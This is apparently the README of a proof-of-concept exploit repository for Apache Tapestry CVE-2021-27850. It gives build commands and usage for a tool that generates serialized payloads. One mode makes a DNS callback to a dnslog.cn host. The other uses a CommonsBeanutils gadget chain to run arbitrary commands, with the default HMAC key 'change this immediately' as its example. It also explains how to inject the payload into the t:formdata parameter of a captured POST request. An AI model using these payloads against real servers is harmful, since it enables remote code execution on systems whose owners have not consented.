ovi3/cve_2021_27850_pocApache Tapestry CVE-2021-27850 PoC
git clone https://github.com/Ovi3/CVE_2021_27850_POC.git
cd CVE_2021_27850_POC/
gradlew runnbaleJar
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar
[Usage]:
java TapestryExploit [Tapestry Key] DNS [URL]
java TapestryExploit [Tapestry Key] CB2 [Command]
# 假设 hmac key为 change this immediately
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" DNS "http://xxx.dnslog.cn"
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" CB2 "calc"
Tapestry 애플리케이션에 접속하여 POST 요청(예: 로그인 요청)을 트리거하고, 패킷을 캡처한 후 t:formdata 파라미터 값을 위에서 생성한 payload로 변경합니다.